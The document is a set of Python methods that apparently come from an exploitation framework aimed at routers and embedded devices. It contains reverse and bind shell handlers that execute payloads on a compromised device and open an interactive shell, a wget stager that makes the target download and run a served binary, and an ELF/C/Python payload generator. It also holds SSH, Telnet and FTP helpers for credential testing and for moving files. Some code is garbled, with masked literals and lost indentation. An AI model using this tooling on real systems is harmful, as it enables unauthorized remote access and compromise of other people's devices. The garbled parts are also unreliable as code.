def reverse_tcp(self):
all_interfaces = "0.0.0.0"
sock = self.listen(all_interfaces, self.options["lport"])
if self.port_used:
print_error("Could not set up listener on {}:{}".format(
all_interfaces, self.options["lport"]))
return
# execute binary
commands = self.build_commands()
print_status("Executing payload on the device")
# synchronized commands
for command in commands[:-1]:
self.exploit.execute(command)
# asynchronous last command to execute binary & rm binary
thread = threading.Thread(target=self.exploit.execute,
args=(commands[-1], ))
thread.start()
# waiting for shell
print_status("Waiting for reverse shell...")
client, addr = sock.accept()
sock.close()
print_status("Connection from {}:{}".format(addr[0], addr[1]))
print_success("Enjoy your shell")
t = telnetlib.Telnet()
t.sock = client
t.interact()
def bind_tcp(self):
# execute binary
commands = self.build_commands()
# synchronized commands
for command in commands[:-1]:
self.exploit.execute(command)
# asynchronous last command to execute binary & rm binary
thread = threading.Thread(target=self.exploit.execute,
args=(commands[-1], ))
thread.start()
# connecting to shell
print_status("Connecting to {}:{}".format(self.options['rhost'],
self.options['rport']))
time.sleep(2)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options["rhost"], int(self.options["rport"])))
except socket.error:
print_error("Could not connect to {}:{}".format(
self.options["rhost"], self.options["rport"]))
return
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
def wget(self):
print_status("Using wget method")
self.binary_name = random_text(8)
if "binary" in self.wget_options.keys():
binary = self.wget_options['binary']
else:
binary = "wget"
# run http server
all_interfaces = "0.0.0.0"
try:
server = HTTPServerWrapper(
(all_interfaces, int(self.options["lport"])),
HttpRequestHandler)
except socket.error:
print_error("Could not set up HTTP Server on {}:{}".format(
self.options["lhost"], self.options["lport"]))
return False
thread = threading.Thread(target=server.serve_forever,
args=(self.payload, ))
thread.start()
# wget binary
print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -qO {}/{}".format(
binary, self.options["lhost"], self.options["lport"],
self.binary_name, self.location, self.binary_name)
self.exploit.execute(cmd)
thread.join(10)
if thread.is_alive():
assassin = threading.Thread(target=server.shutdown)
assassin.daemon = True
assassin.start()
return False
return True
def http_request(self, method: str, path: str, session: requests=requests, **kwargs) -> requests.Response:
""" Requests HTTP resource
:param str method: method that should be issued e.g. GET, POST
:param str path: path to the resource that should be requested
:param requests session: session manager that should be used
:param kwargs: kwargs passed to request method
:return Response: Response object
"""
if self.ssl:
url = "https://"
else:
url = "http://"
url += "{}:{}{}".format(self.target, self.port, path)
kwargs.setdefault("timeout", HTTP_TIMEOUT)
kwargs.setdefault("verify", False)
kwargs.setdefault("allow_redirects", False)
try:
return getattr(session, method.lower())(url, **kwargs)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: {}".format(url), verbose=self.verbosity)
except requests.exceptions.ConnectionError:
print_error("Connection error: {}".format(url), verbose=self.verbosity)
except requests.RequestException as error_code:
print_error(error_code, verbose=self.verbosity)
except socket.error as error_code:
print_error(error_code, verbose=self.verbosity)
except KeyboardInterrupt:
print_error("Module has been stopped", verbose=self.verbosity)
return None
def run(self):
print_status("Generating payload")
try:
data = self.generate()
except OptionValidationError as error_code:
print_error(error_code)
return
if self.output == "elf" or self.output == "ELF":
with open(self.file_path, "wb+") as f:
print_status("Building ELF payload")
content = self.generate_elf(data)
print_success("Saving file: {}".format(self.file_path))
f.write(content)
elif self.output == "c" or self.output == "C":
print_status("Building payload for C")
content = self.generate_c(data)
print_info(content)
elif self.output == "python" or self.output == "Python":
print_status("Building payload for Python")
content = self.generate_python(data)
print_info(content)
else:
raise OptionValidationError("No such option as {}".format(
self.output))
return content
def close(self) -> bool:
""" Close connection to TCP server
:return bool: True if closing connection was successful, False otherwise
"""
try:
self.tcp_client.close()
return True
except Exception as error_code:
print_error(self.peer,
"TCP Error while closing tcp socket",
error_code,
verbose=self.verbosity)
return False
def close(self) -> bool:
""" Close SSH connection
:return bool: True if closing connection was successful, False otherwise
"""
try:
self.ssh_client.close()
return True
except Exception as error_code:
print_error(self.peer,
"SSH Error while closing connection",
error_code,
verbose=self.verbosity)
return False
def close(self) -> bool:
""" Close UDP connection
:return bool: True if connection was closed successful, False otherwise
"""
try:
self.udp_client.close()
return True
except Exception as err:
print_error(self.peer,
"Error while closing udp socket",
err,
verbose=self.verbosity)
return False
def get_content(self, remote: str) -> str:
try:
fp_content = io.BytesIO()
sftp = self.ssh_client.open_sftp()
sftp.getfo(remote, fp_content)
return fp_content.getvalue()
except Exception as error_code:
print_error(
self.peer,
"SSH Error while retrieving file content from the server",
error_code,
verbose=self.verbosity)
return None
def receive(self, num: int) -> bytes:
""" Receive UDP data
:param int num: number of bytes that should received from the server
:return bytes: bytes received from the server
"""
try:
response = self.udp_client.recv(num)
return response
except Exception as err:
print_error(self.peer,
"Error while receiving data",
err,
verbose=self.verbosity)
return None
def send(self, data: bytes) -> bool:
""" Send UDP data
:param bytes data: data that should be sent to the server
:return bool: True if data was sent, False otherwise
"""
try:
self.udp_client.sendto(data, (self.udp_target, self.udp_port))
return True
except Exception as err:
print_error(self.peer,
"Error while sending data",
err,
verbose=self.verbosity)
return False
def receive(self, num: int) -> bytes:
""" Receive data from TCP server
:param int num: number of bytes that should be received from the server
:return bytes: data that was received from the server
"""
try:
response = self.tcp_client.recv(num)
return response
except Exception as error_code:
print_error(self.peer,
"TCP Error while receiving data",
error_code,
verbose=self.verbosity)
return None
def read_until(self, data: bytes) -> bytes:
""" Read until specified data found in response
:param bytes data: bytes until which data should be read
:return bytes: bytes read until data
"""
try:
response = self.telnet_client.read_until(data, 5)
return response
except Exception as error_code:
print_error(self.peer,
"Telnet Error while reading data from the server",
error_code,
verbose=self.verbosity)
return None
def send(self, data: bytes) -> bool:
""" Send data to TCP server
:param bytes data: data that should be sent to TCP server
:return bool: True if sending data was successful, False otherwise
"""
try:
self.tcp_client.send(data)
return True
except Exception as error_code:
print_error(self.peer,
"TCP Error while sending data",
error_code,
verbose=self.verbosity)
return False
def write(self, data: bytes) -> bool:
""" Write data to Telnet server
:param bytes data: data that should be written to Telnet server
:return bool: True if data was written successfully, False otherwise
"""
try:
self.telnet_client.write(data, 5)
return True
except Exception as error_code:
print_error(self.peer,
"Telnet Error while writing to the server",
error_code,
verbose=self.verbosity)
return False
def connect(self) -> bool:
""" Connect to Telnet server
:return bool: True if connection was successful, False otherwise
"""
try:
self.telnet_client = telnetlib.Telnet(self.telnet_target,
self.telnet_port,
timeout=TELNET_TIMEOUT)
return True
except Exception as error_code:
print_error(self.peer,
"Telnet Error while connecting to the server",
error_code,
verbose=self.verbosity)
return False
def execute(self, cmd: str) -> str:
""" Execute command on SSH server
:param str cmd: command to execute on SSH server
:return str: command output
"""
try:
ssh_stdin, ssh_stdout, ssh_stderr = self.ssh_client.exec_command(
cmd)
return ssh_stdout.read()
except Exception as err:
print_error(self.peer,
"SSH Error while executing command on the server",
err,
verbose=self.verbosity)
return None
def login_private_key(self,
username: str,
private_key: str,
retries: int = 1) -> bool:
""" Login to SSH server with private key
:param str username: SSH account username
:param str private_key: SSH account private key
:param int retries: number of login retries
:return bool: True if login was successful, False otherwise
"""
if "DSA PRIVATE KEY" in private_key:
private_key = paramiko.DSSKey.from_private_key(
io.StringIO(private_key))
elif "RSA PRIVATE KEY" in private_key:
private_key = paramiko.RSAKey.from_private_key(
io.StringIO(private_key))
else:
return False
for _ in range(retries):
try:
self.ssh_client.connect(self.ssh_target,
self.ssh_port,
timeout=SSH_TIMEOUT,
banner_timeout=SSH_TIMEOUT,
username=username,
pkey=private_key,
look_for_keys=False)
except paramiko.AuthenticationException:
print_error(
self.peer,
"SSH Authentication Failed - Username: '******' auth with private key"
.format(username),
verbose=self.verbosity)
except Exception as err:
print_error(
self.peer,
"SSH Error while authenticated by using private key",
err,
verbose=self.verbosity)
else:
print_success(
self.peer,
"SSH Authentication Successful - Username: '******' with private key"
.format(username),
verbose=self.verbosity)
return True
self.ssh_client.close()
return False
def connect(self) -> bool:
""" Connect to TCP server
:return bool: True if connection was successful, False otherwise
"""
try:
self.tcp_client.connect((self.tcp_target, self.tcp_port))
print_status(self.peer,
"TCP Connection established",
verbose=self.verbosity)
return True
except Exception as error_code:
print_error(self.peer,
"TCP Error while connecting to the server",
error_code,
verbose=self.verbosity)
return False
def get_content(self, remote_file: str) -> str:
""" Get remote file from FTP server
:param str remote_file: remote file name
:return str: remote file content
"""
try:
content = io.BytesIO()
self.ftp_client.retrbinary("RET: {}".format(remote_file),
content.write)
return content.getvalue()
except Exception as error_code:
print_error(self.peer,
"FTP Error while retrieving content",
error_code,
verbose=self.verbosity)
return None
def send_file(self, local: str, remote: str) -> bool:
""" Send file to SSH server
:param str local: local file that should be send to SSH server
:param str remote: destination file that content should be saved to
:return bool: True if sending file was successful, False otherwise
"""
try:
sftp = self.ssh_client.open_sftp()
sftp.put(local, remote)
return True
except Exception as error_code:
print_error(self.peer,
"SSH Error while sending file to the server",
error_code,
verbose=self.verbosity)
return False
def get_file(self, remote: str, local: str) -> bool:
""" Get file from SSH server
:param str remote: remote file on SSH server
:param str local: local file that it should be saved to
:return bool: True if getting file was successful, False otherwise
"""
try:
sftp = self.ssh_client.open_sftp()
sftp.get(remote, local)
return True
except Exception as error_code:
print_error(self.peer,
"SSH Error while retrieving file from the server",
error_code,
verbose=self.verbosity)
return False
def send_content(self, content: str, remote: str) -> bool:
""" Send file content to SSH server
:param str content: data that should be sent to SSH file
:param str remote: destination file that data should be saved to
:return bool: True if sending file content was successful, False otherwise
"""
try:
fp_content = io.BytesIO(content)
sftp = self.ssh_client.open_sftp()
sftp.putfo(fp_content, remote)
return True
except Exception as err:
print_error(self.peer,
"SSH Error while sending content to the server",
err,
verbose=self.verbosity)
return False
def test_connect(self) -> bool:
""" Test connection to Telnet server
:return bool: True if test connection was successful, False otherwise
"""
try:
self.telnet_client = telnetlib.Telnet(self.telnet_target,
self.telnet_port,
timeout=TELNET_TIMEOUT)
self.telnet_client.expect(
[b"Login: "******"login: "******"Username: "******"username: "******"Telnet Error while testing connection to the server",
error_code,
verbose=self.verbosity)
return False
def connect(self, retries: int = 1) -> bool:
""" Connect to FTP server
:param int retries: number of retry attempts
:return bool: True if connection was successful, False otherwise
"""
for _ in range(retries):
try:
self.ftp_client.connect(self.ftp_target,
self.ftp_port,
timeout=FTP_TIMEOUT)
return True
except Exception as error_code:
print_error(self.peer,
"FTP Error while connecting to the server",
error_code,
verbose=self.verbosity)
self.ftp_client.close()
return False
def login(self, username: str, password: str, retries: int = 1) -> bool:
""" Login to Telnet server
:param str username: Telnet account username
:param str password: Telnet account password
:param int retries: number of authentication retries
:return bool: True if login was successful, False otherwise
"""
for _ in range(retries):
try:
if not self.connect():
continue
self.telnet_client.expect(
[b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n")
self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n")
self.telnet_client.write(b"\r\n")
(i, obj,
res) = self.telnet_client.expect([b"Incorrect", b"incorrect"],
5)
if i == -1 and any([
x in res for x in [b"#", b"$", b">"]
]) or len(res) > 500: # big banner e.g. mikrotik
print_success(
self.peer,
"Telnet Authentication Successful - Username: '******' Password: '******'"
.format(username, password),
verbose=self.verbosity)
return True
else:
print_error(
self.peer,
"Telnet Authentication Failed - Username: '******' Password: '******'"
.format(username, password),
verbose=self.verbosity)
break
except Exception as error_code:
print_error(self.peer,
"Telnet Error while authenticating to the server",
error_code,
verbose=self.verbosity)
return False
def test_connect(self) -> bool:
""" Test connection to SSH server
:return bool: True if test connection was successful, False otherwise
"""
try:
self.ssh_client.connect(self.ssh_target,
self.ssh_port,
timeout=SSH_TIMEOUT,
username="******",
password=random_text(12),
look_for_keys=False)
except paramiko.AuthenticationException:
self.ssh_client.close()
return True
except Exception as error_code:
print_error(self.peer,
"SSH Error while testing connection",
error_code,
verbose=self.verbosity)
self.ssh_client.close()
return False
def receive_all(self, num: int) -> bytes:
""" Receive all data sent by the server
:param int num: number of total bytes that should be received
:return bytes: data that was received from the server
"""
try:
response = b""
received = 0
while received < num:
tmp = self.tcp_client.recv(num - received)
if tmp:
received += len(tmp)
response += tmp
else:
break
return response
except Exception as error_code:
print_error(self.peer,
"TCP Error while receiving all data",
error_code,
verbose=self.verbosity)
return None
def login(self, username: str, password: str, retries: int = 1) -> bool:
""" Login to SSH server
:param str username: SSH account username
:param str password: SSH account password
:param int retries: number of login retries
:return bool: True if login was successful, False otherwise
"""
for _ in range(retries):
try:
self.ssh_client.connect(self.ssh_target,
self.ssh_port,
timeout=SSH_TIMEOUT,
banner_timeout=SSH_TIMEOUT,
username=username,
password=password,
look_for_keys=False)
except paramiko.AuthenticationException:
print_error(
self.peer,
"SSH Authentication Failed - Username: '******' Password: '******'"
.format(username, password),
verbose=self.verbosity)
self.ssh_client.close()
break
except Exception as err:
print_error(self.peer,
"SSH Error while authenticating",
err,
verbose=self.verbosity)
else:
print_success(
self.peer,
"SSH Authentication Successful - Username: '******' Password: '******'"
.format(username, password),
verbose=self.verbosity)
return True
self.ssh_client.close()
return False
def login(self, username: str, password: str) -> bool:
""" Login to FTP server
:param str username: FTP account username
:param str password: FTP account password
:return bool: True if login was successful, False otherwise
"""
try:
self.ftp_client.login(user=username, passwd=password)
print_success(
self.peer,
"FTP Authentication Successful, Username: {}, Password: {}".
format(username, password),
verbose=self.verbosity)
return True
except Exception as error_code:
print_error(
self.peer,
"FTP Authentication Failed, Username: {}, Password: {}".format(
username, password),
error_code,
verbose=self.verbosity)
self.ftp_client.close()
return False
